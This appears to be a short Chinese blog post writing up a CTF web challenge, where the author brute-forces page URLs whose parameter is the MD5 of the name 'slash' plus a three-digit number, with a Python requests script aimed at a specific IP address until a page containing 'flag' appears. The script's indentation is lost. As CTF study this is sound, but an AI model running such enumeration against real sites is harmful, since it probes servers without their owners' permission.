早上看到群里放的一道CTF题,题目链接已经关了,页面上有三条链接,对应3个人名,点开观察后发现URL中page的值是md5,解码后看出是人名加3位数字,于是要第三个人名slash+3位数字,转成md5进行爆破,找到含有flag的网页,表达不清楚,直接上脚本orz
import requests
import hashlib
def md5(str): #md5加密
m = hashlib.md5()
m.update(str)
return m.hexdigest()
for i in range(1,999):
i=str(i).encode('unicode-escape') #将数字转为字符型,编码改为 bytes,md5只能对bytes编码操作
url="http://121.42.34.88:23080/index.php?page="+md5(b"slash"+i)
s=requests.get(url)
s.encoding = 'utf-8' #修改编码
if('flag' in s.text): #如果网页中有flag字段,则将页面返回
print(s.text)
break
print (i)
由于原题目链接失效,运行也跑不出结果了。总之就是一个md5加密函数和网址爆破的思路吧。。。
(坚持写博客真是太难了,一不小心就咸鱼起来了。。。)